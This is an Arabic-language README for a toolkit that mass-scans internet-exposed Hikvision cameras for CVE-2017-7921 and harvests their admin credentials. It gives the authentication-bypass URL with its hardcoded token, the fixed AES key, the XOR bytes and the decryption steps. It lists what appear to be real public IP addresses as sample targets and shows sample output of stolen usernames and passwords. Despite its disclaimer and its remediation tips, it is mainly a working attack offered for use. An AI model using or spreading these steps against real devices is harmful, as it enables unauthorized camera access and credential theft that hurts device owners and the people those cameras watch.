
CVE-2017-7921-Research-Toolkit GUI
يستخدم لاختبار ثغرة CVE-2017-7921 في Hikvision بسرعة باستخدام FOFA، كما يوفر اسم المستخدم وكلمة المرور لتسجيل الدخول، ويخرج ملف JSON.
مجموعة أدوات بحث CVE-2017-7921
إعلان أمني: هذه الأداة مخصصة للبحث الأمني المصرح به والتحقق من الثغرات فقط
المحتويات
- الإعلان القانوني والأخلاقي
- وصف المشروع
- الميزات
- تعليمات التثبيت
- طريقة الاستخدام
- المخرجات
- توصيات الدفاع والإصلاح
- التفاصيل التقنية
- شكر وتقدير
⚖️ الإعلان القانوني والأخلاقي
تنبيه مهم: استخدام هذه الأداة يعني موافقتك على الشروط التالية
- الاختبار المصرح به فقط: استخدمها فقط على الأنظمة التي لديك إذن كتابي صريح بها
- الامتثال للقوانين: اتبع بدقة قانون الأمن السيبراني والقوانين المحلية ذات الصلة
- الإفصاح المسؤول: أبلغ الشركة المصنعة عن الثغرات عبر القنوات الرسمية
- أغراض تعليمية: تهدف هذه الأداة إلى رفع الوعي بأمن إنترنت الأشياء
- تحمل المسؤولية: يتحمل المستخدم العواقب القانونية الناتجة عن سوء الاستخدام
يتبع هذا المشروع سياسة أبحاث الأمان في GitHub ومعايير الإفصاح الخاصة بـ مركز استجابة أمان هايكفيجن.
📖 وصف المشروع
أداة فحص جماعي والتحقق من ثغرة تجاوز المصادقة CVE-2017-7921 في كاميرات IP من هايكفيجن، مع دعم فك تشفير ملفات التكوين تلقائياً واستخراج بيانات الاعتماد.
أهداف التصميم
- مساعدة باحثي الأمن في تقييم الحالة الأمنية للأجهزة على نطاق واسع
- توفير قدرة الفحص الذاتي لأصحاب الأجهزة
- دعم إنشاء تقارير توصيات الإصلاح
- دفع ترقية أمن أجهزة إنترنت الأشياء
✨ الميزات
- ✅ فحص جماعي لقائمة أجهزة بصيغة JSON
- ✅ فحص متعدد الخيوط بشكل متزامن (عدد الخيوط قابل للتكوين)
- ✅ تنزيل تلقائي لملفات التكوين المشفرة
- ✅ فك تشفير فوري واستخراج بيانات الاعتماد
- ✅ عرض تقدم الفحص في الوقت الفعلي (tqdm)
- ✅ حفظ النتائج تلقائياً كتقرير JSON
- ✅ دعم استئناف الفحص بعد الانقطاع
🛠️ تعليمات التثبيت
المتطلبات البيئية
- Python 3.7 أو إصدار أحدث
- يدعم فقط Linux / macOS (بعض الوظائف محدودة على Windows)
تثبيت التبعيات
git clone https://github.com/[اسم المستخدم الخاص بك]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
محتوى requirements.txt
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 طريقة الاستخدام
1. إعداد ملف بيانات الأجهزة
أنشئ مجلد zc/ في دليل الأداة، وضع قائمة الأجهزة بصيغة JSON (كل سطر يحتوي على كائن جهاز):
mkdir zc
مثال على الملف: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
وصف الحقول:
| الحقل | الوصف | إجباري |
|---|---|---|
link | عنوان الوصول HTTP/HTTPS للجهاز | ✅ نعم |
city | معلومات المدينة | ❌ لا |
country | رمز الدولة | ❌ لا |
org | معلومات المنظمة/مزود الخدمة | ❌ لا |
2. تشغيل أداة الفحص
python batch_decrypt.py
3. مثال على التفاعل
════════════════════════════════════════════════════════════════════════════════
أداة الفحص الجماعي لثغرة ملف تكوين كاميرات هايكفيجن
════════════════════════════════════════════════════════════════════════════════
الملفات JSON المتاحة:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 بايت)
════════════════════════════════════════════════════════════════════════════════
يرجى اختيار رقم الملف: 1
تم اختيار الملف: devices_2025.json
جارٍ تحميل بيانات الأجهزة...
إجمالي الأجهزة المطلوب فحصها: 2000
يرجى إدخال عدد الخيوط المتزامنة (الافتراضي: 5): 10
عدد الخيوط المتزامنة: 10
بدأ الفحص...
إجمالي الأجهزة التي تم فحصها: 2000
عدد الأجهزة المصابة بالثغرة: 127
تم حفظ الأجهزة المصابة في: vulnerable_devices.json
📁 المخرجات
بعد انتهاء الفحص، يتم إنشاء vulnerable_devices.json يحتوي على معلومات جميع الأجهزة المخترقة.
نموذج الإخراج:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ توصيات الدفاع والإصلاح
لأصحاب الأجهزة
- قم بترقية البرنامج الثابت فوراً: تفضل بزيارة موقع هايكفيجن الرسمي لتنزيل أحدث إصدار
- تغيير كلمة المرور الافتراضية: حتى بعد الترقية، يجب تغيير كلمة مرور admin الافتراضية
- عزل الشبكة: ضع الكاميرات في VLAN مستقلة، وامنع الوصول المباشر من الإنترنت العام
- تفعيل القائمة البيضاء لعناوين IP: اسمح فقط لعناوين IP الموثوقة بالوصول إلى واجهة الإدارة
لمتخصصي الأمن
- حفظ سرية نتائج الفحص: لا تفصح عن تفاصيل الأجهزة غير المصححة
- المساعدة في الإصلاح: اتصل بأصحاب الأجهزة بشكل استباقي لتقديم الدعم الفني
- تقارير متوافقة: أنشئ تقارير تقييم أمني تتوافق مع معيار ISO 27001
🔬 التفاصيل التقنية
مبدأ الثغرة
- تجاوز المصادقة: يستخدم
/System/configurationFile?auth=YWRtaW46MTEKبيانات اعتماد ثابتة مشفرة - تشفير ضعيف: ملف التكوين مشفر بمفتاح AES-ECB ثابت
- تسريب المفتاح: المفتاح
279977f62f6cfd2d91cd75b889ce0c9aمضمن بشكل ثابت في البرنامج الثابت
عملية التشفير
- الحصول على ملف التكوين الثنائي المشفر
- فك تشفير AES-ECB (إزالة الكتلة الأولى)
- تشويش XOR (المفتاح:
0x73, 0x8B, 0x55, 0x44) - استخراج حساب admin وكلمة المرور التالية باستخدام التعبير النمطي
📝 الترخيص
هذا البرنامج مخصص للبحث الأمني المصرح به والأغراض التعليمية فقط. يجب على المستخدم ضمان الامتثال لجميع القوانين المعمول بها.
🙏 شكر وتقدير
- نشكر هايكفيجن على استجابتها السريعة وإصدار تحديثات البرنامج الثابت
- نشكر مجتمع المصادر المفتوحة على توفير مواد تحليل الثغرات
- يتبع هذا المشروع أفضل الممارسات لأبحاث أمن إنترنت الأشياء
آخر تحديث: 2025-01-29 | الإصدار: v1.0.0 | CVE: CVE-2017-7921